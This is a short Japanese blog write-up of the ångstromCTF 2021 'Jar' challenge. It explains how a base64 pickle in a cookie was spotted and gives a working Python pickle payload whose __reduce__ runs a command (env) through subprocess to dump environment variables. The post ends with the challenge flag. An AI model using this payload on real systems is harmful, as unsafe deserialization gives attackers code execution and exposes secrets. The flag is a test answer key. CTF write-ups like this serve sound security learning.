はまやんはまやんはまやん

hamayanhamayan's blog

Jar [ångstromCTF 2021]

調査

よくわからないピクルスと共に文字を登録できるサイトが与えられる。
pythonでpickleといえば、やることはUnsafe Deserializationだろう。
Proxy履歴を見ると、contentsクッキーになんか入っている。

Set-Cookie: contents=gASVDQAAAAAAAABdlCiMAXiUjAF5lGUu; Path=/

ソースコード読み

配列がpickleでシリアライズされている。
普通に出力して表示しているのでUnsafe Desearialization達成できそうだ。

Unsafe Deserialization

import pickle  
import base64  
  
class Exploit(object):  
    def __reduce__(self):  
        import subprocess  
        return (subprocess.check_output, (['env'],))  
  
data = [Exploit()]  
print(base64.b64encode(pickle.dumps(data)))  

フラグは環境変数に入っているのでenvコマンドを動かしてみよう。
・・・
フラグが出てきましたね。
`actf{you_got_yourself_out_of_a_pickle}